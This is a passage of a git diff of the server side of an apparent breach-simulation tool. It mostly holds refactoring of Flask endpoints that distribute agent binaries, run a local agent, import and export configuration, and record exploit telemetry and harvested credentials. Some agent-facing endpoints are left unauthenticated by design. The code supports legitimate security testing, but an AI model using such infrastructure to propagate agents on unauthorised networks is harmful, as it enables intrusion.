Bootloader._get_request_contents_windows(windows_data) - self.assertTrue(result['system'] == "windows") - self.assertTrue(result['os_version'] == "windows8_or_greater") - self.assertTrue(result['hostname'] == "DESKTOP-PJHU36B") - self.assertFalse(result['tunnel']) - self.assertTrue(result['ips'] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"]) diff --git a/monkey/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py index 2396ba9b0..79a8c214b 100644 --- a/monkey/monkey_island/cc/resources/client_run.py +++ b/monkey/monkey_island/cc/resources/client_run.py @@ -5,8 +5,6 @@ from flask import jsonify, request from monkey_island.cc.services.node import NodeService -__author__ = 'itay.mizeretz' - logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py new file mode 100644 index 000000000..4a7aeec24 --- /dev/null +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -0,0 +1,25 @@ +import json + +import flask_restful +from flask import request + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.utils.encryption import encrypt_string + + +class ConfigurationExport(flask_restful.Resource): + @jwt_required + def post(self): + data = json.loads(request.data) + should_encrypt = data["should_encrypt"] + + plaintext_config = ConfigService.get_config() + + config_export = plaintext_config + if should_encrypt: + password = data["password"] + plaintext_config = json.dumps(plaintext_config) + config_export = encrypt_string(plaintext_config, password) + + return {"config_export": config_export, "encrypted": should_encrypt} diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py new file mode 100644 index 000000000..efa1d79a7 --- /dev/null +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -0,0 +1,98 @@ +import json +import logging +from dataclasses import dataclass +from json.decoder import JSONDecodeError + +import flask_restful +from flask import request + +from common.utils.exceptions import InvalidConfigurationError +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.utils.encryption import ( + InvalidCiphertextError, + InvalidCredentialsError, + decrypt_ciphertext, + is_encrypted, +) + +logger = logging.getLogger(__name__) + + +class ImportStatuses: + UNSAFE_OPTION_VERIFICATION_REQUIRED = "unsafe_options_verification_required" + INVALID_CONFIGURATION = "invalid_configuration" + INVALID_CREDENTIALS = "invalid_credentials" + IMPORTED = "imported" + + +@dataclass +class ResponseContents: + import_status: str = ImportStatuses.IMPORTED + message: str = "" + status_code: int = 200 + config: str = "" + config_schema: str = "" + + def form_response(self): + return self.__dict__ + + +class ConfigurationImport(flask_restful.Resource): + SUCCESS = False + + @jwt_required + def post(self): + request_contents = json.loads(request.data) + try: + config = ConfigurationImport._get_plaintext_config_from_request(request_contents) + if request_contents["unsafeOptionsVerified"]: + ConfigurationImport.import_config(config) + return ResponseContents().form_response() + else: + return ResponseContents( + config=json.dumps(config), + config_schema=ConfigService.get_config_schema(), + import_status=ImportStatuses.UNSAFE_OPTION_VERIFICATION_REQUIRED, + ).form_response() + except InvalidCredentialsError: + return ResponseContents( + import_status=ImportStatuses.INVALID_CREDENTIALS, + message="Invalid credentials provided", + ).form_response() + except InvalidConfigurationError: + return ResponseContents( + import_status=ImportStatuses.INVALID_CONFIGURATION, + message="Invalid configuration supplied. " + "Maybe the format is outdated or the file has been corrupted.", + ).form_response() + + @staticmethod + def _get_plaintext_config_from_request(request_contents: dict) -> dict: + try: + config = request_contents["config"] + if ConfigurationImport.is_config_encrypted(request_contents["config"]): + config = decrypt_ciphertext(config, request_contents["password"]) + return json.loads(config) + except (JSONDecodeError, InvalidCiphertextError): + logger.exception( + "Exception encountered when trying to extract plaintext configuration." + ) + raise InvalidConfigurationError + + @staticmethod + def import_config(config_json): + if not ConfigService.update_config(config_json, should_encrypt=True): + raise InvalidConfigurationError + + @staticmethod + def is_config_encrypted(config: str): + try: + if config.startswith("{"): + return False + elif is_encrypted(config): + return True + else: + raise InvalidConfigurationError + except Exception: + raise InvalidConfigurationError diff --git a/monkey/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py index 3d284e82c..9eb0d5943 100644 --- a/monkey/monkey_island/cc/resources/edge.py +++ b/monkey/monkey_island/cc/resources/edge.py @@ -3,12 +3,10 @@ from flask import request from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService -__author__ = 'Barak' - class Edge(flask_restful.Resource): def get(self): - edge_id = request.args.get('id') + edge_id = request.args.get("id") displayed_edge = DisplayedEdgeService.get_displayed_edge_by_id(edge_id) if edge_id: return {"edge": displayed_edge} diff --git a/monkey/monkey_island/cc/resources/environment.py b/monkey/monkey_island/cc/resources/environment.py index 9f9a89105..feb0c138c 100644 --- a/monkey/monkey_island/cc/resources/environment.py +++ b/monkey/monkey_island/cc/resources/environment.py @@ -12,8 +12,11 @@ logger = logging.getLogger(__name__) class Environment(flask_restful.Resource): def patch(self): env_data = json.loads(request.data) - if env_data['server_config'] == "standard": + if env_data["server_config"] == "standard": if env_singleton.env.needs_registration(): env_singleton.set_to_standard() - logger.warning("No user registered, Island on standard mode - no credentials required to access.") + logger.warning( + "No user registered, Island on standard mode - no credentials required to " + "access." + ) return {} diff --git a/monkey/monkey_island/cc/resources/exploitations/manual_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/manual_exploitation.py new file mode 100644 index 000000000..7c5db2f75 --- /dev/null +++ b/monkey/monkey_island/cc/resources/exploitations/manual_exploitation.py @@ -0,0 +1,15 @@ +import flask_restful + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.reporting.exploitations.manual_exploitation import ( + get_manual_exploitations, +) + + +class ManualExploitation(flask_restful.Resource): + @jwt_required + def get(self): + manual_exploitations = [ + exploitation.__dict__ for exploitation in get_manual_exploitations() + ] + return {"manual_exploitations": manual_exploitations} diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py new file mode 100644 index 000000000..5e00a51a0 --- /dev/null +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -0,0 +1,13 @@ +import flask_restful + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( + get_monkey_exploited, +) + + +class MonkeyExploitation(flask_restful.Resource): + @jwt_required + def get(self): + monkey_exploitations = [exploitation.__dict__ for exploitation in get_monkey_exploited()] + return {"monkey_exploitations": monkey_exploitations} diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py index b8a556016..42730e477 100644 --- a/monkey/monkey_island/cc/resources/island_configuration.py +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -10,13 +10,15 @@ from monkey_island.cc.services.config import ConfigService class IslandConfiguration(flask_restful.Resource): @jwt_required def get(self): - return jsonify(schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True, True)) + return jsonify( + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True), + ) @jwt_required def post(self): config_json = json.loads(request.data) - if 'reset' in config_json: + if "reset" in config_json: ConfigService.reset_config() else: if not ConfigService.update_config(config_json, should_encrypt=True): diff --git a/monkey/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py index b643f2147..ae5bb1398 100644 --- a/monkey/monkey_island/cc/resources/island_logs.py +++ b/monkey/monkey_island/cc/resources/island_logs.py @@ -5,8 +5,6 @@ import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.island_logs import IslandLogService -__author__ = "Maor.Rayzin" - logger = logging.getLogger(__name__) @@ -16,4 +14,4 @@ class IslandLog(flask_restful.Resource): try: return IslandLogService.get_log_file() except Exception: - logger.error('Monkey Island logs failed to download', exc_info=True) + logger.error("Monkey Island logs failed to download", exc_info=True) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py new file mode 100644 index 000000000..6df681fd7 --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -0,0 +1,44 @@ +import json +import logging + +import flask_restful +from flask import make_response, request + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.config_manipulator import update_config_on_mode_set +from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode, set_mode +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + +LOG = logging.getLogger(__name__) + + +class IslandMode(flask_restful.Resource): + @jwt_required + def post(self): + try: + body = json.loads(request.data) + mode_str = body.get("mode") + + mode = IslandModeEnum(mode_str) + set_mode(mode) + + if not update_config_on_mode_set(mode): + LOG.error( + "Could not apply configuration changes per mode. " + "Using default advanced configuration." + ) + + return make_response({}, 200) + except (AttributeError, json.decoder.JSONDecodeError): + return make_response({}, 400) + except ValueError: + return make_response({}, 422) + + @jwt_required + def get(self): + try: + island_mode = get_mode() + return make_response({"mode": island_mode}, 200) + + except ModeNotSetError: + return make_response({"mode": None}, 200) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 1a388db0a..49517dbdb 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -1,58 +1,12 @@ import json -import logging -import os -import sys -from shutil import copyfile import flask_restful from flask import jsonify, make_response, request -import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.models import Monkey -from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.resources.monkey_download import get_monkey_executable from monkey_island.cc.services.node import NodeService - -__author__ = 'Barak' - - -logger = logging.getLogger(__name__) - - -def run_local_monkey(): - import platform - import stat - import subprocess - - # get the monkey executable suitable to run on the server - result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) - if not result: - return False, "OS Type not found" - - monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries', result['filename']) - target_path = os.path.join(MONKEY_ISLAND_ABS_PATH, result['filename']) - - # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) - try: - copyfile(monkey_path, target_path) - os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) - except Exception as exc: - logger.error('Copy file failed', exc_info=True) - return False, "Copy file failed: %s" % exc - - # run the monkey - try: - args = ['"%s" m0nk3y -s %s:%s' % (target_path, local_ip_addresses()[0], env_singleton.env.get_island_port())] - if sys.platform == "win32": - args = "".join(args) - subprocess.Popen(args, shell=True).pid - except Exception as exc: - logger.error('popen failed', exc_info=True) - return False, "popen failed: %s" % exc - - return True, "" +from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService class LocalRun(flask_restful.Resource): @@ -70,9 +24,9 @@ class LocalRun(flask_restful.Resource): @jwt_required def post(self): body = json.loads(request.data) - if body.get('action') == 'run': - local_run = run_local_monkey() + if body.get("action") == "run": + local_run = LocalMonkeyRunService.run_local_monkey() return jsonify(is_running=local_run[0], error_text=local_run[1]) # default action - return make_response({'error': 'Invalid action'}, 500) + return make_response({"error": "Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py index 0d437d174..63e4d44f1 100644 --- a/monkey/monkey_island/cc/resources/log.py +++ b/monkey/monkey_island/cc/resources/log.py @@ -6,31 +6,29 @@ from flask import request from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.log import LogService from monkey_island.cc.services.node import NodeService -__author__ = "itay.mizeretz" - class Log(flask_restful.Resource): @jwt_required def get(self): - monkey_id = request.args.get('id') - exists_monkey_id = request.args.get('exists') + monkey_id = request.args.get("id") + exists_monkey_id = request.args.get("exists") if monkey_id: return LogService.get_log_by_monkey_id(ObjectId(monkey_id)) else: return LogService.log_exists(ObjectId(exists_monkey_id)) # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self): telemetry_json = json.loads(request.data) - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])['_id'] + monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])["_id"] # This shouldn't contain any unicode characters. this'll take 2 time less space. - log_data = str(telemetry_json['log']) + log_data = str(telemetry_json["log"]) log_id = LogService.add_log(monkey_id, log_data) return mongo.db.log.find_one_or_404({"_id": log_id}) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 0e6fe0370..f607b81e1 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -5,17 +5,14 @@ import dateutil.parser import flask_restful from flask import request -from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore +from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService -__author__ = 'Barak' - - # TODO: separate logic from interface @@ -25,52 +22,52 @@ class Monkey(flask_restful.Resource): def get(self, guid=None, **kw): NodeService.update_dead_monkeys() # refresh monkeys status if not guid: - guid = request.args.get('guid') + guid = request.args.get("guid") if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) - monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) + monkey_json["config"] = ConfigService.decrypt_flat_config(monkey_json["config"]) return monkey_json return {} # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def patch(self, guid): monkey_json = json.loads(request.data) - update = {"$set": {'modifytime': datetime.now()}} + update = {"$set": {"modifytime": datetime.now()}} monkey = NodeService.get_monkey_by_guid(guid) - if 'keepalive' in monkey_json: - update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive']) + if "keepalive" in monkey_json: + update["$set"]["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) else: - update['$set']['keepalive'] = datetime.now() - if 'config' in monkey_json: - update['$set']['config'] = monkey_json['config'] - if 'config_error' in monkey_json: - update['$set']['config_error'] = monkey_json['config_error'] + update["$set"]["keepalive"] = datetime.now() + if "config" in monkey_json: + update["$set"]["config"] = monkey_json["config"] + if "config_error" in monkey_json: + update["$set"]["config_error"] = monkey_json["config_error"] - if 'tunnel' in monkey_json: - tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") + if "tunnel" in monkey_json: + tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip) ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) - update['$set']['ttl_ref'] = ttl.id + update["$set"]["ttl_ref"] = ttl.id return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) # Used by monkey. can't secure. # Called on monkey wakeup to initialize local configuration - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self, **kw): monkey_json = json.loads(request.data) - monkey_json['creds'] = [] - monkey_json['dead'] = False - if 'keepalive' in monkey_json: - monkey_json['keepalive'] = dateutil.parser.parse(monkey_json['keepalive']) + monkey_json["creds"] = [] + monkey_json["dead"] = False + if "keepalive" in monkey_json: + monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) else: - monkey_json['keepalive'] = datetime.now() + monkey_json["keepalive"] = datetime.now() - monkey_json['modifytime'] = datetime.now() + monkey_json["modifytime"] = datetime.now() ConfigService.save_initial_config_if_needed() @@ -79,47 +76,63 @@ class Monkey(flask_restful.Resource): # Update monkey configuration new_config = ConfigService.get_flat_config(False, False) - monkey_json['config'] = monkey_json.get('config', {}) - monkey_json['config'].update(new_config) + monkey_json["config"] = monkey_json.get("config", {}) + monkey_json["config"].update(new_config) # try to find new monkey parent - parent = monkey_json.get('parent') - parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run - if parent and parent != monkey_json.get('guid'): # current parent is known - exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, - 'data.result': {'$eq': True}, - 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}, - 'monkey_guid': {'$eq': parent}})] + parent = monkey_json.get("parent") + parent_to_add = (monkey_json.get("guid"), None) # default values in case of manual run + if parent and parent != monkey_json.get("guid"): # current parent is known + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + "monkey_guid": {"$eq": parent}, + } + ) + ] if 1 == len(exploit_telem): - parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter')) + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) else: parent_to_add = (parent, None) - elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: - exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, - 'data.result': {'$eq': True}, - 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] + elif (not parent or parent == monkey_json.get("guid")) and "ip_addresses" in monkey_json: + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + } + ) + ] if 1 == len(exploit_telem): - parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter')) + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) if not db_monkey: - monkey_json['parent'] = [parent_to_add] + monkey_json["parent"] = [parent_to_add] else: - monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add] + monkey_json["parent"] = db_monkey.get("parent") + [parent_to_add] tunnel_host_ip = None - if 'tunnel' in monkey_json: - tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") - monkey_json.pop('tunnel') + if "tunnel" in monkey_json: + tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") + monkey_json.pop("tunnel") ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) - monkey_json['ttl_ref'] = ttl.id + monkey_json["ttl_ref"] = ttl.id - mongo.db.monkey.update({"guid": monkey_json["guid"]}, - {"$set": monkey_json}, - upsert=True) + mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) # Merge existing scanned node with new monkey @@ -128,13 +141,14 @@ class Monkey(flask_restful.Resource): if tunnel_host_ip is not None: NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) - existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}}) + existing_node = mongo.db.node.find_one( + {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} + ) if existing_node: node_id = existing_node["_id"] - EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, - new_dst_node_id=new_monkey_id) - for creds in existing_node['creds']: + EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, new_dst_node_id=new_monkey_id) + for creds in existing_node["creds"]: NodeService.add_credentials_to_monkey(new_monkey_id, creds) mongo.db.node.remove({"_id": node_id}) diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py index e6b94cf81..608030e5c 100644 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey/monkey_island/cc/resources/monkey_configuration.py @@ -6,18 +6,19 @@ from flask import abort, jsonify, request from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -__author__ = 'Barak' - class MonkeyConfiguration(flask_restful.Resource): @jwt_required def get(self): - return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config(False, True)) + return jsonify( + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True), + ) @jwt_required def post(self): config_json = json.loads(request.data) - if 'reset' in config_json: + if "reset" in config_json: ConfigService.reset_config() else: if not ConfigService.update_config(config_json, should_encrypt=True): diff --git a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py index 552dce51e..f0d7e411f 100644 --- a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py +++ b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py @@ -11,6 +11,6 @@ class StartedOnIsland(flask_restful.Resource): # Used by monkey. can't secure. def post(self): data = json.loads(request.data) - if data['started_on_island']: + if data["started_on_island"]: ConfigService.set_started_on_island(True) return make_response({}, 200) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index c9d3127a4..24e03280c 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -8,64 +8,64 @@ from flask import request, send_from_directory from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -__author__ = 'Barak' - logger = logging.getLogger(__name__) MONKEY_DOWNLOADS = [ { - 'type': 'linux', - 'machine': 'x86_64', - 'filename': 'monkey-linux-64', + "type": "linux", + "machine": "x86_64", + "filename": "monkey-linux-64", }, { - 'type': 'linux', - 'machine': 'i686', - 'filename': 'monkey-linux-32', + "type": "linux", + "machine": "i686", + "filename": "monkey-linux-32", }, { - 'type': 'linux', - 'machine': 'i386', - 'filename': 'monkey-linux-32', + "type": "linux", + "machine": "i386", + "filename": "monkey-linux-32", }, { - 'type': 'linux', - 'filename': 'monkey-linux-64', + "type": "linux", + "filename": "monkey-linux-64", }, { - 'type': 'windows', - 'machine': 'x86', - 'filename': 'monkey-windows-32.exe', + "type": "windows", + "machine": "x86", + "filename": "monkey-windows-32.exe", }, { - 'type': 'windows', - 'machine': 'amd64', - 'filename': 'monkey-windows-64.exe', + "type": "windows", + "machine": "amd64", + "filename": "monkey-windows-64.exe", }, { - 'type': 'windows', - 'machine': '64', - 'filename': 'monkey-windows-64.exe', + "type": "windows", + "machine": "64", + "filename": "monkey-windows-64.exe", }, { - 'type': 'windows', - 'machine': '32', - 'filename': 'monkey-windows-32.exe', + "type": "windows", + "machine": "32", + "filename": "monkey-windows-32.exe", }, { - 'type': 'windows', - 'filename': 'monkey-windows-32.exe', + "type": "windows", + "filename": "monkey-windows-32.exe", }, ] def get_monkey_executable(host_os, machine): for download in MONKEY_DOWNLOADS: - if host_os == download.get('type') and machine == download.get('machine'): - logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine)) + if host_os == download.get("type") and machine == download.get("machine"): + logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine)) return download - logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}' - .format(host_os, machine)) + logger.warning( + "No monkey executables could be found for the host os or machine or both: host_os: {" + "0}, machine: {1}".format(host_os, machine) + ) return None @@ -73,44 +73,46 @@ class MonkeyDownload(flask_restful.Resource): # Used by monkey. can't secure. def get(self, path): - return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries'), path) + return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path) # Used by monkey. can't secure. def post(self): host_json = json.loads(request.data) - host_os = host_json.get('os') + host_os = host_json.get("os") if host_os: - result = get_monkey_executable(host_os.get('type'), host_os.get('machine')) + result = get_monkey_executable(host_os.get("type"), host_os.get("machine")) if result: # change resulting from new base path - executable_filename = result['filename'] + executable_filename = result["filename"] real_path = MonkeyDownload.get_executable_full_path(executable_filename) if os.path.isfile(real_path): - result['size'] = os.path.getsize(real_path) + result["size"] = os.path.getsize(real_path) return result return {} @staticmethod def get_executable_full_path(executable_filename): - real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', executable_filename) + real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename) return real_path @staticmethod def log_executable_hashes(): """ - Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.). + Logs all the hashes of the monkey executables for debugging ease (can check what Monkey + version you have etc.). """ - filenames = set([x['filename'] for x in MONKEY_DOWNLOADS]) + filenames = set([x["filename"] for x in MONKEY_DOWNLOADS]) for filename in filenames: filepath = MonkeyDownload.get_executable_full_path(filename) if os.path.isfile(filepath): - with open(filepath, 'rb') as monkey_exec_file: + with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() - logger.debug("{} hashes:\nSHA-256 {}".format( - filename, - hashlib.sha256(file_contents).hexdigest() - )) + logger.debug( + "{} hashes:\nSHA-256 {}".format( + filename, hashlib.sha256(file_contents).hexdigest() + ) + ) else: logger.debug("No monkey executable for {}.".format(filepath)) diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py index 899dc478c..a649fff76 100644 --- a/monkey/monkey_island/cc/resources/netmap.py +++ b/monkey/monkey_island/cc/resources/netmap.py @@ -4,8 +4,6 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.netmap.net_edge import NetEdgeService from monkey_island.cc.services.netmap.net_node import NetNodeService -__author__ = 'Barak' - class NetMap(flask_restful.Resource): @jwt_required @@ -13,8 +11,4 @@ class NetMap(flask_restful.Resource): net_nodes = NetNodeService.get_all_net_nodes() net_edges = NetEdgeService.get_all_net_edges() - return \ - { - "nodes": net_nodes, - "edges": net_edges - } + return {"nodes": net_nodes, "edges": net_edges} diff --git a/monkey/monkey_island/cc/resources/node.py b/monkey/monkey_island/cc/resources/node.py index ff630b9a4..d4252354c 100644 --- a/monkey/monkey_island/cc/resources/node.py +++ b/monkey/monkey_island/cc/resources/node.py @@ -4,13 +4,11 @@ from flask import request from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.node import NodeService -__author__ = 'Barak' - class Node(flask_restful.Resource): @jwt_required def get(self): - node_id = request.args.get('id') + node_id = request.args.get("id") if node_id: return NodeService.get_displayed_node_by_id(node_id) diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py index 87be11ab5..073aafffd 100644 --- a/monkey/monkey_island/cc/resources/node_states.py +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -7,4 +7,4 @@ from monkey_island.cc.services.utils.node_states import NodeStates as NodeStateL class NodeStates(flask_restful.Resource): @jwt_required def get(self): - return {'node_states': [state.value for state in NodeStateList]} + return {"node_states": [state.value for state in NodeStateList]} diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index 4fe05c98f..df9766ed6 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,9 +1,7 @@ import flask_restful from flask import send_from_directory -from monkey_island.cc.services.post_breach_files import ABS_UPLOAD_PATH - -__author__ = 'VakarisZ' +from monkey_island.cc.services.post_breach_files import PostBreachFilesService class PBAFileDownload(flask_restful.Resource): @@ -12,5 +10,6 @@ class PBAFileDownload(flask_restful.Resource): """ # Used by monkey. can't secure. - def get(self, path): - return send_from_directory(ABS_UPLOAD_PATH, path) + def get(self, filename): + custom_pba_dir = PostBreachFilesService.get_custom_pba_directory() + return send_from_directory(custom_pba_dir, filename) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 6d6795f74..e96951702 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,31 +1,26 @@ import copy import logging -import os import flask_restful from flask import Response, request, send_from_directory +from werkzeug.datastructures import FileStorage from werkzeug.utils import secure_filename +from common.config_value_paths import PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.post_breach_files import (ABS_UPLOAD_PATH, PBA_LINUX_FILENAME_PATH, - PBA_WINDOWS_FILENAME_PATH) - -__author__ = 'VakarisZ' +from monkey_island.cc.services.post_breach_files import PostBreachFilesService LOG = logging.getLogger(__name__) -# Front end uses these strings to identify which files to work with (linux of windows) -LINUX_PBA_TYPE = 'PBAlinux' -WINDOWS_PBA_TYPE = 'PBAwindows' +# Front end uses these strings to identify which files to work with (linux or windows) +LINUX_PBA_TYPE = "PBAlinux" +WINDOWS_PBA_TYPE = "PBAwindows" class FileUpload(flask_restful.Resource): """ File upload endpoint used to exchange files with filepond component on the front-end """ - def __init__(self): - # Create all directories on the way if they don't exist - ABS_UPLOAD_PATH.mkdir(parents=True, exist_ok=True) @jwt_required def get(self, file_type): @@ -39,7 +34,7 @@ class FileUpload(flask_restful.Resource): filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) else: filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) - return send_from_directory(ABS_UPLOAD_PATH, filename) + return send_from_directory(PostBreachFilesService.get_custom_pba_directory(), filename) @jwt_required def post(self, file_type): @@ -48,13 +43,32 